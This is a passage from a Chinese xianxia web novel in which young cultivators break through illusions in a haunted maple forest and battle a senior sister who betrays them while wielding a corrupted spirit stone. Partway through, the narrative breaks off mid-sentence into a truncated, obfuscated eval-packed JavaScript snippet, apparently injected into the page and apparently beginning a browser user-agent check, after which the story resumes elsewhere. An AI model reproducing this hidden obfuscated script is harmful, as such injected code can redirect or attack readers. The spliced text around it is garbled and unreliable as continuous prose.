浮盈松开束缚,化作一道水影,在死水之上大快朵颐。然后窜回玄水瓶中,还不忘“咕噜”一声,向池宜邀功。 池宜揉了揉发疼的额头,轻轻舒了口气。 危机解除,松时生周身的暴戾气息渐渐褪去,可心头的悸动却久久未平。 他垂眸看向自己的双手,掌心还残留着触碰池宜后背时的温度,以及她呕血时那刺目的红。 方才那一瞬间,他竟生出了毁天灭地的念头。 他甚至能清晰地感觉到,那道枷锁,正悄然松动,让他一向稳固的道心,泛起了层层涟漪。 “泣珠姬的幻境,本就擅长引动人心底的执念与情绪,”池宜指了指周遭依旧有些扭曲的枫林,唇角勾起一抹浅淡的笑意,“这大概也是许多修道之人,走火入魔的缘由。” 她的语气轻松自然,仿佛真的只是将一切归咎于幻境,没有丝毫察觉他心底的波澜。 松时生望着她澄澈的眼眸,听着她合情合理的解释,心底的茫然渐渐消散了几分。 他微微颔首,掩去眼底的复杂情绪,恢复了往日的温润淡然:“所言极是,是我疏忽了。” 他顿了顿,目光落在她唇角的血珠上,眉心微蹙,抬手取出一方干净的锦帕,递到她面前:“擦擦吧。” 池宜接过锦帕,随意擦了擦唇角,笑道:“多谢了。只是,那个‘他’到底是谁...” 不等池宜继续说下去,林间传来几声错落的脚步声。 11. 魂来枫林青(4) “池师妹,松师弟。” 最先入耳的是段行容轻柔的嗓音,紧接着,祝小筱带着哭腔的声音紧随其后:“池宜!可算找到你们了!” 段师姐正扶着惊魂未定的祝小筱,陆明修走在末端断后。几人身上沾着些许枯枝败叶,显然是在林子里绕了不少路。 祝小筱一见到池宜,立刻挣脱段行容的手扑了过来,攥着她的衣袖连连喘气,脸上还带着未消的惊惶:“吓死我了!这枫林里的小路也太多了,岔路一个接一个,我和段师姐走着走着就选错了,绕到了后山的乱石坡,差点就出不来了!” 一个时辰前。 祝小筱跟着段行容确实在西侧溪地上见到许多修士——有的只剩白骨森森,有的皮肉半腐、还吊着最后一口气,气若游丝地呻吟,看得祝小筱头皮发麻,死死攥着段行容的衣袖不敢松手。 腐叶与湿泥混着浓重的血腥气扑面而来,越往前走,景象越骇人。 段行容蹲下身,指尖拂过一名修士心口的伤口,那伤口边缘泛着诡异的青黑色,像是被某种阴邪之力侵蚀。 她修长的眉峰微蹙,片刻后终究是遗憾地摇了摇头:“经脉尽断,灵气枯竭,回天乏术了。” 祝小筱却被脚下一块凸起的石头兀的绊了一下,低头去扶时,指尖捏住了被淤泥掩埋的软软的物件,轻轻拨开来看看。 刚一用力,扯出一根细得发紧的青黑色筋络,孤零零一根,绷得笔直,另一端死死连着中指。 她吓得一哆嗦,下意识却往上一拉—— 食指被拽出泥面,那根独筋绷得更紧,硬生生把底下的中指也一同带了起来,两根手指悬在半空,被一根筋串着,说不出的诡异恶心。 祝小筱浑身汗毛倒竖,慌得想立刻撒手,可手忙脚乱间力道没稳住,“啪”的一声轻响,那根细筋骤然崩断。 刚被带上来的中指瞬间失了支撑,直直往下坠,“嗒”地砸在湿泥落叶上,滚了半圈,惨白的指腹朝上,正对着她的脸。 那一刻,祝小筱脑子一片空白,所有的恐惧瞬间炸开。 她猛地缩回手,指尖还沾着黏腻的冷意,看着地上孤零零的断指、泥里剩下的残手,还有那根断在食指上晃悠的细筋,喉咙发紧,胃里翻江倒海。 “呕——!” 她尖叫着往后跌坐,眼泪唰地涌出来,连滚带爬扑到段行容身边,死死抱住对方的胳膊,哭得话都说不全: “这......这都......都什......么跟......什么啊!!” ......... 银殊捻起荷包里一个手指大小的瓷瓶,里面装的都是每月十二初阳将升未升之际,银杏叶尖上的露水。 “小筱,这是凝露饮,喝下可减轻恐惧,我初一化形时,就是靠这个捱过的。” “呜呜呜...银殊你真是我的好姊妹...呜呜呜。”祝小筱现在可谓是一把鼻涕一把泪。 银殊见状,抬手轻轻拢了拢她被泪水打湿的鬓发,指腹温柔拭去她脸颊的泪珠,另一只手轻拍着她的后背,动作轻柔:“莫哭,快收住泪,饮下这凝露,便不会那般怕了。” 段行容走上前,目光先落在池宜唇角的血痕和松时生微蹙的眉峰上,又扫过那滩死水,眼底闪过一丝几不可察的深意,随即又恢复了那副温润悲悯的模样:“看来这里还是遇上了不小的麻烦。” 陆明修给余下弟子分派任务,运送受伤修士出山,在东侧探查过灵气稳定地方布下围山阵法,他们只需守在各个阵眼,通过传讯玉符便能做到内外合击。 “乌——嗷——” 嘶吼声从四面八方如浪潮袭来。 数不清的低阶妖兽从密林中窜出,獠牙染血,利爪泛着幽光,密密麻麻朝众人扑来。 妖兽气息暴戾而杂乱,显然是被人刻意惊扰、驱赶至此。 “不好!是兽潮。”陆明修脸色骤变,长剑瞬间出鞘,“往深处退!此处地势开阔,根本挡不住。” 众人来不及多言,只能提气狂奔。身后妖兽嘶吼紧追不舍,枝叶断裂声、利爪刨地声混杂,整片枫林都在震颤。 众人一头撞进一片雾气翻涌的地界。 雾气一沾身,眼前景象骤然扭曲。 脚下的落叶厚达数寸,踩上去绵软无声,而周遭的枫树仿佛活了过来,枝干交错缠绕,形成一道天然的屏障。 缠绕在六个人身上的同心铃不约而同响起“叮铃铃”的声音。 就在众人穿过一道枫木拱门的刹那,天地骤然变色。 那是一片与此刻截然不同的枫林,红叶似火,落英缤纷。石桌旁,身着青衫的书生正挥毫泼墨,案上摆着一盏清茶,身旁立着一位身着红裙的女子,指尖捻着一片枫叶,眉眼温柔。 “公子看了一日的书,何不小憩养神。” 青衫书生闻言停笔,指尖轻叩纸面,抬眸时眼底还凝着几分书卷气,望着女子温和一笑:“有劳姑娘挂心,此番进京赴考,时日紧迫,不敢多耽搁。” 他将狼毫搁在砚台边,端起那盏清茶浅啜一口,茶香清冽,漫过喉间,才又缓缓开口:“前日落宿山间,幸得姑娘出手相救,否则我怕是要困在荒林里,误了考期。一路叨扰,实在过意不去。” 一晃间,又换了一番景象。 殿试放榜,书生一举夺魁,自此踏入朱门宫阙。 皇宫巍峨,琉璃覆顶,金瓦映日,白玉阶前香烟袅袅。琼林宴开,百官列席,珍馐罗列。 新科进士衣冠齐整,他因才学卓绝,得皇帝青眼,言谈间颇受礼遇。他离席透气,一时间走到了一颗青枫树前。 心头猛地一震——那株青枫,竟与当年山林间救他性命、陪他闲谈的身影,隐隐相合。 “枫眠?” 青枫枝叶微动,青光淡淡流转,下一瞬,一道纤细身影凝实而立。依旧是红裙素袂,眉眼温柔,正是山中女子。她望着书生,轻声低唤:“公子。” 画面流转,转眼便是漫天风雪。枫林被大雪覆盖,书生倒在雪地之中,气息奄奄,红裙女子抱着他,泪水如断线的珍珠般滚落,染红了身前的白雪。 “于子归我等你回来,等你一辈子……”她的哭声凄厉,与泣珠姬的哀鸣渐渐重合。 “砰——” 眼前景象化成万千碎片,几人拂手去挡,碎片穿过肌肤,每个人在碎片里,看到了自己内心深处最隐秘最痛的回忆。 看见惨死的同门,挥剑便朝身边人砍去;听见至亲哭喊,抱着树干痛哭流涕,神智尽失;被心魔缠上,双目赤红,彼此厮杀,场面瞬间失控。 反而是池宜,竟未被心魔找到最痛心的回忆。她所看到的,都是儿时游山玩水的画面。 松时生只觉眉心一刺,眼前血色翻涌。 幻境里,他孤身立于尸山血海之上,妖王利爪破界,妖气滔天,夹在妖气与身后金光之间,欲将他生生撕碎。他挥剑抵挡,却处处受制。 就在利爪即将洞穿他心口的刹那,一道单薄却决绝的身影,毫无预兆地挡在了他身前。 那身影模糊不清,却带着让他心脏骤然抽紧的熟悉。 一击落下。 影子碎了。 松时生浑身一震,瞳孔剧烈收缩,痛意如潮水般淹没神智。 分明不是他的人生经历,为何会痛心到这个地步? “你修无情道,不过是自欺欺人。”心魔的声音与他一模一样,冰冷而蛊惑,“方才为了她,你动了杀念,动了执念,你的道心,已经破了。 “你胡说。” 一道漆黑的剑气直刺松时生的心口,承宵剑光与黑剑的戾气碰撞,发出刺耳的轰鸣。 松时生眉心紧紧蹙起,额角青筋暴起,周身气息忽强忽弱,显然正处于心我交战的绝境,稍有不慎,便会堕魔。 “醒醒——!”池宜心头猛地一揪,几乎是本能地冲了过去。 她不顾神魂反噬,指尖掐诀,灵力不顾一切灌入松时生灵台——这还是松时生在林外输送给她的灵力,强行将他从幻境深渊里拽出来。 反噬之力瞬间冲上头,池宜喉间一甜,却死死咬着牙不退。 挺住啊,乐天道能否把无情道压一头,在此一举! 池宜给自己这样打气。 松时生猛地回神,冷汗浸透衣袍,看向身边撑着身子、脸色惨白如纸的池宜。 两人背靠背站定。 池宜气息微喘,声音却稳:“别信幻境,都是假的。” “你来做什么。” “闭嘴,专心对付你的心魔!”池宜的声音带着一丝颤抖,反噬的力量已经开始撕裂她的经脉,眼前阵阵发黑,可她依旧死死撑着,“只要你脱去宗门弟子籍,我倒是能心安理得不管你。” “既然你是我搭档,我就不能看着你死在我面前。最起码,我得在你活着的时候超过你,成为第一首席弟子。” 松时生握紧长剑,眼底戾气与痛色褪去,只剩柔色:“一起破它。” 意念相通,灵力同调。 一剑斩雾,一剑破幻。 “结阵!”松时生沉声道,手腕一转,承宵剑划出一道剑圈,“以我为剑,以你为眼,东风借力,破此幻境!” 池宜强忍着经脉的剧痛,抬手捏了个引灵诀,将浮盈的水灵力与松时生的风灵力交织在一起。 “踏雪凌霜,剑若飞鸿,迹灭尘消。” 风借水势,水助风威,朝着幻境的核心轰然劈去。 “轰——” 周遭血色与虚影轰然碎裂,雾气散尽,两人变成并肩站在一株参天古枫树前。 树干粗逾数人合抱,枝叶遮天,树皮纹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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祝小筱从地上瞬间弹起来,爆发的力气把松时生推到一边,池宜安稳地落在她怀里。 银殊站在人群后侧,将这一幕尽收眼底。她指尖捻着一缕淡银色灵力,方才那丝同源灵力的触感还残留在神识里,有个人身上的气息与古枫怨煞丝丝相扣,半点做不得假。 可此刻池宜昏迷、人心未定,贸然揭穿只会引发混乱,反倒让幕后之人有可乘之机。 此地磁场混乱,时间久了人的头脑发昏。 段行容开口:“若问题真出自这里,想必只有挣脱这枫灵怨念才能拿回五蕴石,还需从长计议。当下,先寻一处安全之地安顿小师妹。” “来的路上我看到一处山洞,背风且清净。先避一夜,明日再想策略。”陆明修如是安排。召回众弟子,又往北侧山脉走了一段路。 念及祝小筱等人在幻境里也没讨到好处,灵力都或多或少有些波动,再背着池宜也不好走夜路。自下山后,松时生见到段行容有种说不上来的情绪,也不肯让段行容背着池宜。 还有陆明修。若是同门师兄妹这样传出去,想来也是不太好的。 思来想去,松时生觉得自己修无情道,本就断情绝爱,传出去对两个人名声都没影响。再者,帮一下同伴也没什么,无情道不就是为正义而生吗。 他二话不说背起了池宜。 祝小筱还不知道自己被松时生在心里画了个叉,就这么看着自己的姊妹被松时生背走,心里又急又气。这人,这人竟然在夜天化月之下,强抢民女! 偏偏自己还打不过。 好气人! 再后来成为第一符修后,她背着池宜跑了一圈。 当然,这都是后话。 且说一行人进到山洞,陆明修依旧不忘自己领队任务,将周边环境探查清楚,防卫巡逻做的滴水不漏。 银殊带着各种炊具与食材,让众人吃上喷香可口的饭菜。 几人轮流照顾池宜,祝小筱寸步不离地守着,松时生抱剑倚在洞口,一动不动,活像一座穿了衣服的石雕。 “你也发现不对了,是吗。” 陆明修走到一侧,试探问他。 “嗯,祂快按捺不住了。” 夤夜,北斗斗柄缓缓西斜,玉衡星光忽明忽暗,本应循轨而行的二十八宿,竟有几处星子微微偏移,不在常位。 银河西岸,参宿几星躁动不安,忽明忽灭,似有无形之力扯动星轨;东方天际,心宿二红光暗涌,隐带煞气,与漫天清寒星辉格格不入。 所有人都在等待一个合适的时机。 12. 故人入我梦(1) 池宜又坠入那片梦境。 她在一间挂满画像的香堂里醒来,一副两尺高的挂画放在正中央,香案上放着三炉香坛,厚重的香灰宣告着来人最忠诚的祈祷。 这是何路神仙,香火这样的盛。 池宜眯起眼睛仔细看的时候,终于发现了这幅画像不寻常之处——只有一个背影的女神仙。 那背影立于云巅之上,广袖轻扬,一袭焰红镶金边的神袍垂落如霞如炬,线条如行云流水,将挺直如擎天之柱的肩背勾勒出来,不怒自威,却又带着一种爱怜苍生的慈悲。 她立得极稳,似天地崩塌、万界倾覆,也不能让她分毫动摇。 没有面容,没有多余修饰,只一道背影,便足以让人望之屏息,心生跪拜之意。 侧面落款已模糊不清,纸面凹凸不平。 体内星辰境感受到了这里的香火,久旱逢甘霖,灵力出现异常波动。 她盘腿坐在蒲团上,身后就是神尊画像。一缕若有若无的神性清气自画中而出缠上她的周身,与她自身灵力相融。 体内灵气漫身周转,顺任由灵气在经脉中奔涌穿行,过玄关、通百脉,自丹田流转四肢百骸,再循血脉汇于心口。 原本滞涩的境界壁垒,在星辰之力与香火神性双重滋养下,竟如薄冰遇暖,层层消融。 灵力越转越疾,越聚越浓,周身光华隐隐流转,眉心微亮,神识骤然开阔。 不过瞬息之间—— 瓶颈崩碎,幻天境成。 池宜不由得感叹:真是乱拳打死老师傅,误打误撞因祸得福。 在枫林厮杀时受到冲击的那股酸胀正悄悄消散,左手的金线也愈发明亮。 这到底代表什么意思。 池宜还没有弄清楚,但她现在必须回到本体清醒过来。 ............ 再入枫林腹地前,陆明修已向各宗传讯,派人接应受伤子弟回撤。 段行容一个人在溪边静静揉洗着一方和她周身气息格格不入的深红手帕,银殊她在身后只能看到她落寞的背影,只身一人前去安慰。 “段师姐,你在做什么呀?” 银殊在溪边的一块底部爬满青苔的石头上坐下,目光落在那方手帕上,不由轻声赞叹:“好美啊,这是师姐亲手绣的吗?师姐真厉害。” 段行容指尖有些发抖,挤出一抹浅笑:“嗯。过去吧,此地不宜久留。” 银殊应声起身,不料双腿骤然发麻,气血一时不畅,身形猛地一晃。 段行容及时伸手相扶,银殊身形踉跄,下意识揽住她腰侧,指尖恰好触到腰间悬着的灵鞭,冷冽灵力顺着衣料透骨而来。 她心头一凛,连忙收回手,稳住身形后,便随段行容快步返回人群中央。 远处松时生与祝小筱安顿好还在昏迷的池宜,小筱按乾坎艮震巽离坤兑八位排布,用符篆层层护住池宜。 银殊拿出两片银杏叶,放在唇边呢喃几句,说了句:“去吧。” 一片稳稳落在池宜衣襟里,一片落在陆明修手心。 昨日那股怨气自地心升起,枫树林齐齐抖擞,不过半柱香时辰,原本八月初还郁郁葱葱的绿叶,以肉眼可见的速度骤变——先是叶脉泛出诡异鲜红,转瞬整片叶子燃成炽烈赤红,似被烈火灼烧;未等红意褪尽,又飞速枯槁泛黄,卷边、发脆,簌簌坠落。 最终漫山枫林,红得妖异、黄得死寂,如泼洒的血与枯骨,在阴风中哭嚎不止。 “你你你—— 自诩正道高悬、仁义在肩, 且睁眼,分明看——” 在齐云镇没听完的那出戏,竟在这里再次听到。 银殊脸色微白,轻声道:“枫灵的戾气像是被人刻意引动,越来越狂暴……” 段行容垂着眼,指尖轻轻攥着那方深红手帕,语气温顺却沉稳:“枫灵体内吞了五蕴石,力量失衡才会如此。若是任由它吸收五蕴石,不出片刻,整片山林都要被它毁了。” 陆明修随即缓步走来,眉头深锁,目光凝重扫过众人:“当下最要紧的,不是除妖,是稳住五蕴之力。” 祝小筱一愣:“这怎么稳啊?那什么石头,不都被枫灵吃进去了。” “只能先镇,后引。”陆明修沉声道,“我布困煞大阵,先将其死死困住,再以宗门灵力合力引动,逼它将五蕴石吐出来。只要石头归位、力量平复,枫灵自然会慢慢安分。” 段行容温顺应声:“青绫鞭与其同脉,我若贸然引镇恐适得其反。我愿在外围相助,牵制枫灵枝蔓。” 松时生淡淡开口,声线清冷平静:“阵眼需至纯剑气镇压,我来。” 他修为深厚、心性稳固,是最合适的人选,众人自然无异议。 陆明修颔首:“好。切记——只困不杀。” 陆明修话音一顿,声音不明觉厉。 “违者,按宗法处置。” 松时生最后看了一眼青石上的池宜。她眉心隐有微光,呼吸平稳,嘴角还微微上扬,像是梦里正捡着天大的便宜。 陆明修将七枚镇煞旗掷出,旗身化作七道流光扎入青石四周。他双手结印,沉声喝道:“困煞大阵,起!” 七名弟子各执一色旗,以自身灵力注入旗中,在半空交织成七曜星环。 陆明修立于阵心,双手结上清困煞印,将七曜星环的力量向下牵引,压入地脉,形成倒扣的无形牢笼。 “明敕,如虹。”松时生左手横握承宵剑,指腹轻轻抚过剑刃,指尖微微一用力,一滴殷红精血自指尖渗出,迅速融于剑心。 “落——” 七道凌厉无比的剑光自剑脊破空而出,精准刺入七面阵旗。阵旗瞬间被精血与剑意引燃,耀目金光直冲云霄,交织成密不透风的剑网。 如此,天上地下,俱已布下密网。 枫叶如暴雨般砸落,古枫那数十丈高的躯干猛地一拧,树皮骤然崩裂,无数碗口粗的枝蔓如毒蛇出洞,朝着困煞大阵的光壁疯狂抽打。 “嘭——嘭——嘭!” 枝蔓砸在金色光壁上,发出震耳欲聋的巨响,光壁剧烈震颤,泛起层层涟漪。 七名执旗弟子脸色一白,齐齐闷哼一声,嘴角溢出血丝,显然已被震得气血翻涌。 另七名弟子毫不犹豫翻身而上,将灵力注入同门体内,合二为一。 “撑住!”陆明修立于阵心,双手结印的速度愈发急促,额角青筋微凸,“阵眼未动,大阵不破! 松时生依旧静立在阵眼中央,青白劲装被狂风吹起猎猎作响,手中承宵剑斜指地面,剑身上的金光与阵旗遥相呼应。 他目光疾速扫过那些疯狂冲撞的枝蔓,指尖轻轻一弹,剑脊便发出一声清越的嗡鸣。 刹那间,七面阵旗同时爆发出耀眼的剑光,狠狠抽向那些缠上来的枝蔓。 “嗤嗤”声响不绝于耳,被剑光触碰到的枝蔓瞬间焦黑,化作灰烬飘落。 古枫吃痛,发出一声震彻山林的嘶吼,声音里满是怨毒与疯狂。它的主干猛地拔地而起,竟带着半截根系,朝着阵眼的方向狠狠撞来。那势头,仿佛要与大阵同归于尽。 “不好!它要冲阵眼!”祝小筱脸色大变,到了拼家底的时候!平日里没事就画的符篆,一定要保住伙伴们啊! 祝小筱将带的符篆一股脑地撒出去,又立刻画起新符,只是潦草到无法分辨。 松时生眸色一沉,左手掐诀,承宵剑脱手而出,喊出:“濯、沧、浪——”直刺古枫的主干。 剑刃刺入树皮的瞬间,古枫的嘶吼声陡然拔高,无数细小的枝蔓从四面八方涌来,想要缠住承宵剑。 就在此时,一道红影骤然从众人身后腾空而起! 众人皆是一愣,回头望去,只见段行容衣袂翻飞,青绫鞭通体赤红、鞭身萦绕着凛冽寒气。 她悬于半空,往日温顺柔和的眉眼彻底消失,取而代之的是一片冰冷的狠厉。那双眼眸里,没有了对师弟师妹的温和,没有丹修救世济人的悲悯,只有浓浓的怨毒与疯狂,与枫灵身上的戾气,竟有着九分相似。 “段、段师姐!你要做什么!”祝小筱不止声音颤抖,手都快抖成筛子也不敢停下,走笔如水,一张张符篆在空中化为各种光芒。 段行容低头,冷冷地扫了一眼地面上的众人,嘴角勾起一抹诡异的笑容。 手腕一扬,青绫鞭在空中划出一道猩红的弧线,却不是抽向古枫,而是朝着困煞大阵的光壁,狠狠抽去! “啪——!” 一声脆响,青绫鞭结结实实地砸在光壁之上。那蕴含着至阴戾气的鞭劲,与 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池宜身形骤然侧旋,脚尖点地掠空而起,手中无形剑影凝实,迎着鞭风直劈而上。 “铛——” 剑影与灵鞭相撞,气浪掀得漫天红黄枫叶狂舞,两人各退数步,衣袂翻飞间杀意尽显。 池宜落地时掌心微麻,却半点不怯,眼底燃着执拗的光:“你暴露的太早了。” 段行容眸色冷硬,青绫鞭在她手中挽出漫天鞭花,煞气缠上鞭身,所过之处空气都泛起寒意:“是你步步紧逼,坏我大事!” 她身形骤闪,鞭身分作数道,缠向池宜四肢,招式狠厉却刻意避开要害,分明是想将人擒住,而非斩杀。 池宜早看透她的心思,脚尖踏空,身形灵动如燕,万千星子自指尖洒落,化作细碎剑影,精准斩向鞭梢。 段行容心头一震,手上力道却丝毫不减,丹修灵力与妖煞相融,青绫鞭猛地暴涨数丈,如巨蟒缠身,直锁池宜腰身,边战边喝:“与你无关!今日要么束手就擒,要么,便一同困在此地!” 池宜不闪不避,双手结印,口中轻喝:“星落!” 漫天星光骤然坠落,砸在鞭身之上,发出滋滋异响,煞气被星光灼烧,段行容只觉手腕一麻,鞭势顿滞。 她趁隙欺身而上,掌风裹挟着灵力,直拍段行容肩头,招式利落又带着少年人的桀骜,全无半分拖泥带水。 段行容仓促回防,双掌相接,两股灵力轰然碰撞,两人同时被震得后退,脚下青石寸寸开裂。 段行容唇角溢出血丝,望着眼前灵力暴涨、眼神倔强的池宜,心头五味杂陈——她自始至终,都没想过要这小师妹的命,可如今棋局被破,退路全无,只能硬战到底。 还没等她下一步动作,祝小筱嘴里振振有词道:“天灵灵地灵灵,邪祟避退,无所遁形,落!”刚画好的三百张缚灵符重重压制住她,就在结阵之际,福至心灵,她参悟了新的符文,决心赌上一把。 “我们二人决斗,与你何干?!” “他们在阵中出不来,难道我还要等着你把缓缓打伤再一个个上吗?别开玩笑了!” “飒——” 大地被虬枝顶破,一股更霸道的力量攫住古枫,枫树逐渐安静下来,树根回归原地,悬在松时生四周的根系也渐渐消退。 “枫眠,你——” 祝小筱眼疾手快地在段行容眉心贴了一张定身符,省得她再说出什么煽动的话。 古枫主干缓缓化作漫天红黄枫叶,在阴风中盘旋一圈,最终聚成一道赤红光点。 “结阵——”陆明修收阵,众弟子有了喘息机会。 现出原形的银殊原本在地下与古枫缠斗,古枫爆体献祭,她被打出人形,本以为会倒在地上,却稳稳跌进一个温暖有力的怀里。 “是...你啊。” 那人将她平稳放在地上,而后消失不见。 “不好。”松时生收势,顷刻间在池宜身边落下。 “呵呵呵——你们太天真了。”赤红光点直击段行容眉心,她突破禁制站起身来,扬鞭而立,站在所有人的对立面,像极了雪地里最孤傲的红梅。 13. 故人入我梦(2) 上清山被落雪覆盖,唯独红梅开的孤艳。 扎着双丫髻的小池宜,靴底裹着一圈绒边,攥着捧在掌心揉得紧实的雪,蹲在段行容的静室窗前。 她指尖冻得通红,却偏要捏出个歪歪扭扭的小雪人,嵌上两颗黑芝作眼,一根红梅枝作簪,才踮着脚,用冻得发僵的小手轻轻拍打窗棂。 “师姐!师姐!” 窗户被推开一瞬,稚嫩的脸上挂着笑容,一只小雪人被捧到她的眼前。 段行容摸上她的手背,眼底尽是关心:“快进来,冻上了怎么办。你呀你呀。” “师姐,我们什么时候去赏梅啊......” 风雪被隔绝门外,只剩一室红泥小火炉。 试锋台的长风卷着剑光,吹得人衣摆翻飞。 成年的池宜拎着剑,气喘吁吁地趴在台边,对面的段行容收鞭而立,青绫鞭缠在腰间,依旧是那副温婉模样。 “师姐,你手下留情啊!”池宜哀嚎,“再打我就要从试锋台摔下去了!” 段行容轻笑,伸手将她拉起来,指尖带着淡淡的药香:“心浮气躁,剑招就乱了。下次再偷懒,我可真不手软了。” 她抬手,指尖带着淡淡的药香,是常年炼药留下的印记,抬手替池宜拂去肩头的尘灰。 枫林腹地,阴云密布,红黄枫叶如血雨般坠落。 段行容立于半空,青绫鞭直指众人,眉心的赤红光点忽明忽暗。 她的帕子不知何时染红,素色道袍染了尘埃与煞气,眉眼间再无半分温柔,只剩冰冷与孤绝。 “小师妹,”她开口,声音平静得可怕,与试锋台上判若两人,“任凭你如何评度我,从始至终,我都没想伤你。” 可青绫鞭扬起的瞬间,猩红的煞气,还是朝着池宜的方向,铺天盖地而来。 旁侧松时生眸色骤沉。 见煞气袭向池宜,他不假思索,足尖点地身形暴掠,剑意瞬间破体而出,欲横剑挡在她身前,以自身剑罡硬接这致命一鞭。 剑亡人亡。 “不可!” 池宜心神骤凛,刹那间辨清气机——段行容这一鞭,锋芒暗藏,根本不是冲她而来。 她身形疾动,左手猛地拽住松时生的衣袖将他扯到身后,右手同时挥出灵力,将身侧祝小筱等人狠狠推离原地,池宜也向后撤去。 众人猝不及防,被推得踉跄着后退数步。刚站稳身形,青绫鞭带着毁天灭地的煞气,精准地落在池宜方才站立位置的两侧空地上,并非直击池宜,而是如巨锤般重重砸落。 “轰——!” 陆明修反应迅速,用剑气结成灵盾,将炸起的碎石挡在外面。 坑壁光滑如镜,竟被煞气生生凿出,坑底隐隐有黑色的魔气翻涌,发出“滋滋”的声响,正被这一鞭彻底解印。 “这是被炼化过的怨气,好难闻啊。”浮盈恨不得长出满身青苔把自己盖住,臭气透过它身体,熏得它几度晕厥。 “铛铛铛——”几声锣鼓,几人开嗓,浑浊阴暗的半空搭起无形的戏台。 “你你你—— 自诩正道高悬、仁义在肩。 且睁眼,分明看—— 这世间累累怨气,不曾见半分安放。 无辜魂断私欲刀,苍生血养伪圣贤。 凭甚、良善赴死,奸邪登坛? 凭甚、任他割宰,叫恃强者掌权?” 一声凄厉的哭声,被类似惊堂木声镇住,继续唱道: “人间哪,逐金逐银逐利禄。千魂万魄填沟壑!一捧黄白换千命,白骨堆成富贵窝。 天上仙,贪香火,造下祸殃千万重!待得天崩地裂时,再披正道补苍穹。 叫天下,都看清—— 这满口仁义,皆是虚言!” 这些人、妖乃至已登仙者,生前怨气积攒已久,一曲折子戏早在无边黑夜反复排唱。 终于,前几日没听完的出戏,在这里唱完了。 “他挫骨扬灰,尸身都不曾留。小师妹,我念及旧恩,给你活路你不要。那好,你们都...” “——死。” 怨气已经被魔化,不管面对的人的修为如何,一股脑得冲上去。 “大家小心——”陆明修向众弟子喊道。 段行容立在半空,青绫鞭煞气滔天,眉心赤光几乎要燃穿灵脉,被无尽怨毒彻底吞了心智。 ——她在强行催动五蕴石! 她不再留手,一鞭扫出,风裂石碎,十余名弟子瞬间被震飞数人,口吐灵血,阵形大乱。 “结阵!” 陆明修厉声喝令,余下弟子咬牙撑起身,勉强布起守御剑阵。 可怨气沾身即蚀灵,剑风一碰便碎,防线摇摇欲坠。 松时生率先掠出,剑意冷冽如冰。他不硬接煞气,只走险招,剑影穿梭,专斩怨气凝聚的要害,以快破乱,以锋压势。 可段行容只需远攻,且鞭法狠绝,一鞭回卷,煞气缠上剑身,震得他臂骨发麻,虎口渗血。 池宜身形疾闪,剑法同修的优势在此刻尽显。 她左手掐法诀,引灵气织成屏障,挡下一波怨潮;右手执剑,剑招稳、准、狠,撕开敌势,为弟子们争取喘息时间。 可怨气实在太多、太浊,法光一次次被击碎,那身曾经与英招过招的缙云劲装被血染成深红。 银殊本体根系深扎大地,万千枝蔓狂舞,以草木清灵之气净化阴邪。 可魔怨太强,枝蔓一碰便发黑枯萎,她浑身颤抖,灵息不稳,却仍死死撑着,为众人挡下最凶的几波冲击。 祝小筱不敢耽误,指尖疾挥,符纸纷飞。 火符、雷符、镇邪符、困缚符……一张接一张炸响,火光冲天,暂时逼退怨气。 但符纸消耗极快,她脸色惨白,灵力几乎掏空,双手不住颤抖。 她深知,硬拼必败,必须找到怨气源头。 段行容见久攻不下,眸中杀意暴涨。 “既然不肯退,便一同葬在此地!” 青绫鞭凌空舒展,周身怨气疯狂汇聚,竟要引爆整片枫林的怨力。 一旦成势,无人能活。 “拦住她!” 陆明修咬牙,带三名弟子直冲而上,剑阵绞杀,却被一鞭横扫,尽数重创坠地。 松时生眸色一冷,不顾反噬,剑意全开,以身犯险,直逼段行容身前。 剑风刺目,逼得她不得不回鞭自保。 煞气反震,他胸口一闷,鲜血溅在霜色剑刃上。 池宜见状,心头骤紧。 她望着漫天怨气、摇摇欲坠的同门、银殊枯焦的枝蔓、祝小筱即将耗尽的符纸…… 忽然间,所有乱象在她眼中连成一线。 怨气虽凶,却有归一之脉; 魔性虽烈,仍有可引之隙。 她没有退路,只能搏命。 “祝小筱,布引灵符阵!” “松时生,随我斩她气脉!” “陆师兄,带弟子守阵眼!” “银殊,撑住最后一刻!” 一声令下,众人拼死呼应。 突然,一股强大的力量自山外涌来,源源不断的剑气、符气、丹气、阵气...在山内殊死搏斗的众人身后,形成强大的托力。 祝小筱耗尽最后灵力,将所有符纸同时掷出,金光大盛,布下引怨归脉符阵,不攻、不杀,只将漫天散乱怨气强行牵引、收拢、锁死在一处。 银殊拼尽本源,枝蔓如铁索缠绕,将怨气死死捆住,以生命灵息,暂时压下魔性爆发之势。 陆明修带弟子拼死守御,剑断、衣裂、血洒,仍不退半步,以血肉之躯,稳住阵脚。 松时生与池宜并肩而上。 池宜以法修为引,掐诀定脉,锁住段行容周身煞气流动。 松时生剑随法走,寒光破空,直劈她怨气最盛的气口。 一法一定,一剑一破。 段行容猝不及防,气脉被斩,煞气骤乱。 池宜趁势欺身,法诀全力催动,以自身灵力为代价,强行引动符阵、剑意、木灵三力合一,轰入她被怨气占据的心脉之中。 强行拔除、净化。 “呃——!” 段行容浑身剧颤,强大的外力冲击突破五蕴石桎梏,她作为载体恰好吸收。 “呵呵呵——”她忍着剧痛发出狞笑,她微微抬眼,目光黏腻又阴鸷地锁着对方,每一个字都从齿缝里碾出来,慢得令人心悸:< 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金光混着幽红暴涨,符纹冲天而起,刹那间压盖全场凶煞。崩腾的怨气被符力牵引、束缚、炼化,煞气倒卷而回。 她立于乱阵之中,血与泪相融,符光绕体,声震四野: “你们造的孽,今日——便由这天地之符,一一清算!” “封——” 符光冲天,如一轮清阳升起,将漫天魔怨尽数笼罩。 狂暴的怨气被符力温柔却不容抗拒地牵引、收拢、净化。 原本蚀骨的凶煞层层褪去,只余纯净的残灵,顺着符纹流转,缓缓沉入地面那道深坑之中。 段行容体内暴涨的五蕴之力,竟被符力生生抽离! 赤光自她眉心狂涌而出,不受控制地飘向半空,与归镇符光缠作一团。 那是被怨气污染、被私欲催动、被强行炼化的五蕴本源,此刻剥离了邪祟,只剩温润澄明的灵光,在符阵中央缓缓旋转。 祝小筱抬手,符光轻轻一托。 